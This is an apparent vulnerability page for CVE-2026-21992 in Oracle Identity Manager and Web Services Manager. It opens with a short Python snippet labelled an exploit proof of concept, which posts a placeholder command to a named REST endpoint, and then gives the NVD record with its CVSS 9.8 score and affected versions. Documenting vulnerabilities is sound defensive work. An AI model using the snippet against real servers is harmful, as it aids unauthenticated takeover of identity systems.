CVE-2026-21992

import requests # Exploit PoC for CVE-2026-21992 # Targeting vulnerable Oracle Fusion Middleware REST endpoint target_url = "http://target-host:port/ims-servws/run/identity/execute" # Malicious payload to trigger RCE (Example placeholder) payload = { "arg": "malicious_command" } try: response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Response:", response.text) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-21992", "sourceIdentifier": "[email protected]", "published": "2026-03-20T03:15:58.680", "lastModified": "2026-03-23T15:30:30.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices) and Oracle Web Services Manager product of Oracle Fusion Middleware (component: Web Services Security). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager and Oracle Web Services Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager and Oracle Web Services Manager. Note: Oracle Web Services Manager is installed with an Oracle Fusion Middleware Infrastructure. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Identity Manager de Oracle Fusion Middleware (componente: REST WebServices) y el producto Oracle Web Services Manager de Oracle Fusion Middleware (componente: Web Services Security). Las versiones compatibles afectadas son 12.2.1.4.0 y 14.1.2.1.0. La vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso de red a través de HTTP comprometer Oracle Identity Manager y Oracle Web Services Manager. Los ataques exitosos de esta vulnerabilidad pueden resultar en la toma de control de Oracle Identity Manager y Oracle Web Services Manager. Puntuación base CVSS 3.1 de 9.8 (impactos en la Confidencialidad, Integridad y Disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:identity_manager:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "95593D6C-8396-4AF5-BA79-8DB8EDA9FC5B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:identity_manager:14.1.2.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA634664-8CC5-4017-A445-A23E205BEEC2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:web_services_manager:12.2.1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "403EBE54-91A6-4C53-B448-79DB5FBF2071"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:web_services_manager:14.1.2.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "CD0E18A3-2BA0-4F25-9D37-51AEB643425B"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/alert-cve-2026-21992.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}